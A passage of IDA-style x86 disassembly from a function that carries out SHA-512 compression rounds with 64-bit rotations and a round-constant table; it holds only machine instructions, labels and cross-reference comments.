		or	edx, ebp
		mov	ebp, [esp+170h+var_154]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_120]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_150]
		and	edx, ecx
		mov	ecx, [esp+170h+var_154]
		xor	ebp, eax
		and	ebp, [esp+170h+var_14C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_128], edi
		adc	[esp+170h+var_124], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_41529E
		mov	eax, [esp+170h+var_B8]
		mov	ecx, [esp+170h+var_B4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_B4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_100]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_FC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_100]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_FC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_F8]
		adc	edx, [esp+170h+var_F4]
		add	ecx, [esp+170h+var_108]
		adc	edx, [esp+170h+var_104]
		mov	[eax+60h], ecx
		mov	[eax+64h], edx
		mov	eax, edx
		mov	[esp+170h+var_108], ecx
		mov	[esp+170h+var_104], eax
		mov	[esp+170h+var_70], ecx
		jmp	short loc_4152AD
; ---------------------------------------------------------------------------

loc_41529E:				; CODE XREF: sub_414BC0+605j
		mov	edx, [esp+170h+var_108]
		mov	eax, [esp+170h+var_104]
		mov	[esp+170h+var_70], edx

loc_4152AD:				; CODE XREF: sub_414BC0+6DCj
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		mov	[esp+170h+var_6C], eax
		mov	eax, [esp+170h+var_148]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_144]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_13C]
		mov	edi, eax
		and	eax, [esp+170h+var_140]
		not	ebx
		and	ebx, [esp+170h+var_134]
		not	edi
		and	edi, [esp+170h+var_138]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_12C]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA08[eax*8]
		adc	esi, ds:dword_41FA0C[eax*8]
		add	edx, [esp+170h+var_70]
		mov	eax, [esp+170h+var_130]
		adc	esi, [esp+170h+var_6C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_150], eax
		mov	[esp+170h+var_12C], ecx
		mov	[esp+170h+var_130], eax
		adc	[esp+170h+var_14C], ecx
		mov	eax, [esp+170h+var_124]
		mov	ecx, [esp+170h+var_128]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_128]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_11C]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_120]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_128]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_158]
		and	edx, ecx
		mov	ecx, [esp+170h+var_11C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_154]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_130], edi
		adc	[esp+170h+var_12C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_4154DA
		mov	eax, [esp+170h+var_A8]
		mov	ecx, [esp+170h+var_A4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_A4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_110]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_10C]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_110]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_10C]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_B0]
		adc	edx, [esp+170h+var_AC]
		add	ecx, [esp+170h+var_B8]
		adc	edx, [esp+170h+var_B4]
		mov	[eax+68h], ecx
		mov	[eax+6Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_B8], ecx
		mov	[esp+170h+var_B4], eax
		mov	[esp+170h+var_38], ecx
		jmp	short loc_4154EF
; ---------------------------------------------------------------------------

loc_4154DA:				; CODE XREF: sub_414BC0+82Fj
		mov	edx, [esp+170h+var_B8]
		mov	eax, [esp+170h+var_B4]
		mov	[esp+170h+var_38], edx

loc_4154EF:				; CODE XREF: sub_414BC0+918j
		mov	ecx, [esp+170h+var_14C]
		mov	ebx, ecx
		mov	[esp+170h+var_34], eax
		mov	eax, [esp+170h+var_150]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_148]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_14C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_144]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_134]
		not	ebx
		and	ebx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_140]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA10[eax*8]
		adc	esi, ds:dword_41FA14[eax*8]
		add	edx, [esp+170h+var_38]
		mov	eax, [esp+170h+var_138]
		adc	esi, [esp+170h+var_34]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_158], eax
		mov	[esp+170h+var_134], ecx
		mov	[esp+170h+var_138], eax
		adc	[esp+170h+var_154], ecx
		mov	ecx, [esp+170h+var_130]
		mov	eax, [esp+170h+var_12C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_130]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_124]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_128]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_130]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_120]
		and	edx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	ebp, eax
		and	ebp, [esp+170h+var_11C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_138], edi
		adc	[esp+170h+var_134], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_415720
		mov	eax, [esp+170h+var_D0]
		mov	ecx, [esp+170h+var_CC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_CC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_108]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_104]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_108]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_104]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C0]
		adc	edx, [esp+170h+var_BC]
		add	ecx, [esp+170h+var_A8]
		adc	edx, [esp+170h+var_A4]
		mov	[eax+70h], ecx
		mov	[eax+74h], edx
		mov	eax, edx
		mov	[esp+170h+var_A8], ecx
		mov	[esp+170h+var_A4], eax
		mov	[esp+170h+var_88], ecx
		jmp	short loc_415735
; ---------------------------------------------------------------------------

loc_415720:				; CODE XREF: sub_414BC0+A75j
		mov	edx, [esp+170h+var_A8]
		mov	eax, [esp+170h+var_A4]
		mov	[esp+170h+var_88], edx

loc_415735:				; CODE XREF: sub_414BC0+B5Ej
		mov	ecx, [esp+170h+var_154]
		mov	[esp+170h+var_84], eax
		mov	eax, [esp+170h+var_158]
		mov	ebx, ecx
		xor	esi, esi
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		mov	edx, ecx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		xor	ebx, ebx
		or	ebx, ebp
		mov	ebp, [esp+170h+var_154]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		shr	ebp, 0Eh
		or	ecx, ebp
		mov	ebp, [esp+170h+var_150]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_154]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_14C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_144]
		xor	edi, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA18[eax*8]
		mov	edi, [esp+170h+var_12C]
		adc	esi, ds:dword_41FA1C[eax*8]
		add	edx, [esp+170h+var_88]
		mov	eax, [esp+170h+var_140]
		adc	esi, [esp+170h+var_84]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_120], eax
		mov	esi, [esp+170h+var_130]
		mov	[esp+170h+var_140], eax
		adc	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_138]
		mov	eax, esi
		xor	eax, ecx
		mov	[esp+170h+var_98], eax
		mov	eax, [esp+170h+var_134]
		mov	edx, edi
		xor	edx, eax
		mov	[esp+170h+var_94], edx
		mov	edx, esi
		and	edx, ecx
		mov	[esp+170h+var_90], edx
		mov	edx, edi
		and	edx, eax
		mov	[esp+170h+var_8C], edx
		mov	edx, ecx
		xor	esi, esi
		shl	edx, 4
		mov	edi, ecx
		mov	ebx, eax
		shrd	edi, ebx, 1Ch
		shr	ebx, 1Ch
		or	edx, ebx
		or	esi, edi
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	ebx, ebx
		shl	ecx, 1Eh
		or	ebx, ebp
		mov	edi, eax
		xor	edx, ebx
		mov	ebx, [esp+170h+var_138]
		shr	edi, 2
		or	edi, ecx
		mov	ecx, eax
		shld	eax, ebx, 19h
		xor	esi, edi
		shr	ecx, 7
		xor	edi, edi
		or	edi, eax
		mov	eax, [esp+170h+var_98]
		and	eax, [esp+170h+var_128]
		shl	ebx, 19h
		xor	eax, [esp+170h+var_90]
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_94]
		and	ecx, [esp+170h+var_124]
		xor	edx, edi
		xor	ecx, [esp+170h+var_8C]
		add	esi, eax
		adc	edx, ecx
		add	[esp+170h+var_140], esi
		adc	[esp+170h+var_13C], edx
		cmp	[esp+170h+var_15C], 0
		jz	loc_4159A2
		mov	eax, [esp+170h+var_B8]
		mov	ecx, [esp+170h+var_B4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_B4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_D8]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_D4]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_D8]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_D4]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D0]
		adc	edx, [esp+170h+var_CC]
		add	ecx, [esp+170h+var_A0]
		adc	edx, [esp+170h+var_9C]
		mov	[eax+78h], ecx
		mov	[eax+7Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_D0], ecx
		mov	[esp+170h+var_CC], eax
		mov	[esp+170h+var_60], ecx
		jmp	short loc_4159B7
; ---------------------------------------------------------------------------

loc_4159A2:				; CODE XREF: sub_414BC0+CEBj
		mov	edx, [esp+170h+var_D0]
		mov	eax, [esp+170h+var_CC]
		mov	[esp+170h+var_60], edx

loc_4159B7:				; CODE XREF: sub_414BC0+DE0j
		mov	ecx, [esp+170h+var_11C]
		mov	ebx, ecx
		mov	[esp+170h+var_5C], eax
		mov	eax, [esp+170h+var_120]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_11C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		shr	ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_158]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_11C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_154]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_14C]
		not	edi
		and	edi, [esp+170h+var_150]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA20[eax*8]
		adc	esi, ds:dword_41FA24[eax*8]
		add	edx, [esp+170h+var_60]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_5C]
		add	ecx, edx
		mov	edx, [esp+170h+var_144]
		adc	edx, esi
		add	eax, ecx
		adc	[esp+170h+var_124], edx
		mov	[esp+170h+var_148], ecx
		mov	ecx, [esp+170h+var_140]
		mov	[esp+170h+var_144], edx
		mov	edx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	ebp, edx
		shrd	ebx, ebp, 1Ch
		xor	edi, edi
		or	edi, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	edx, ecx, 1Eh
		shr	ebp, 1Ch
		shl	esi, 4
		or	esi, ebp
		shr	ebx, 2
		shl	ecx, 1Eh
		xor	ebp, ebp
		or	ebx, ecx
		mov	[esp+170h+var_128], eax
		or	ebp, edx
		mov	ecx, [esp+170h+var_13C]
		xor	esi, ebp
		mov	ebp, [esp+170h+var_140]
		mov	edx, ecx
		shld	ecx, ebp, 19h
		xor	edi, ebx
		shr	edx, 7
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_98]
		and	ecx, [esp+170h+var_140]
		shl	ebp, 19h
		xor	ecx, [esp+170h+var_90]
		or	edx, ebp
		xor	edi, edx
		mov	edx, [esp+170h+var_94]
		and	edx, [esp+170h+var_13C]
		xor	esi, ebx
		xor	edx, [esp+170h+var_8C]
		add	edi, ecx
		adc	esi, edx
		add	[esp+170h+var_148], edi
		adc	[esp+170h+var_144], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_415BFD
		mov	eax, [esp+170h+var_A8]
		mov	ecx, [esp+170h+var_A4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_A4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_118]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_114]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_118]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_114]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D8]
		adc	edx, [esp+170h+var_D4]
		add	ecx, [esp+170h+var_E0]
		adc	edx, [esp+170h+var_DC]
		mov	[eax+80h], ecx
		mov	[eax+84h], edx
		mov	eax, edx
		mov	[esp+170h+var_D4], eax
		mov	[esp+170h+var_14], eax
		mov	eax, [esp+170h+var_128]
		mov	[esp+170h+var_D8], ecx
		mov	[esp+170h+var_18], ecx
		jmp	short loc_415C19
; ---------------------------------------------------------------------------

loc_415BFD:				; CODE XREF: sub_414BC0+F41j
		mov	edx, [esp+170h+var_D8]
		mov	ecx, [esp+170h+var_D4]
		mov	[esp+170h+var_18], edx
		mov	[esp+170h+var_14], ecx

loc_415C19:				; CODE XREF: sub_414BC0+103Bj
		mov	ecx, [esp+170h+var_124]
		mov	ebx, ecx
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_124]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_120]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_124]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_11C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_14C]
		not	ebx
		and	ebx, [esp+170h+var_154]
		not	edi
		and	edi, [esp+170h+var_158]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA28[eax*8]
		adc	esi, ds:dword_41FA2C[eax*8]
		add	edx, [esp+170h+var_18]
		mov	eax, [esp+170h+var_150]
		adc	esi, [esp+170h+var_14]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_130], eax
		mov	[esp+170h+var_14C], ecx
		mov	[esp+170h+var_150], eax
		adc	[esp+170h+var_12C], ecx
		mov	eax, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_148]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_148]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	ebp, [esp+170h+var_134]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_138]
		and	ebp, eax
		mov	eax, [esp+170h+var_13C]
		and	eax, [esp+170h+var_134]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_150], edi
		adc	[esp+170h+var_14C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_415E41
		mov	eax, [esp+170h+var_C8]
		mov	ecx, [esp+170h+var_C4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_C4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_D0]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_CC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_D0]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_CC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_118]
		adc	edx, [esp+170h+var_114]
		add	ecx, [esp+170h+var_100]
		adc	edx, [esp+170h+var_FC]
		mov	[eax+88h], ecx
		mov	[eax+8Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_118], ecx
		mov	[esp+170h+var_114], eax
		mov	[esp+170h+var_48], ecx
		jmp	short loc_415E50
; ---------------------------------------------------------------------------

loc_415E41:				; CODE XREF: sub_414BC0+1196j
		mov	edx, [esp+170h+var_118]
		mov	eax, [esp+170h+var_114]
		mov	[esp+170h+var_48], edx

loc_415E50:				; CODE XREF: sub_414BC0+127Fj
		mov	ecx, [esp+170h+var_12C]
		mov	ebx, ecx
		mov	[esp+170h+var_44], eax
		mov	eax, [esp+170h+var_130]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_12C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_128]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_12C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_124]
		and	eax, ecx
		mov	ebx, ecx
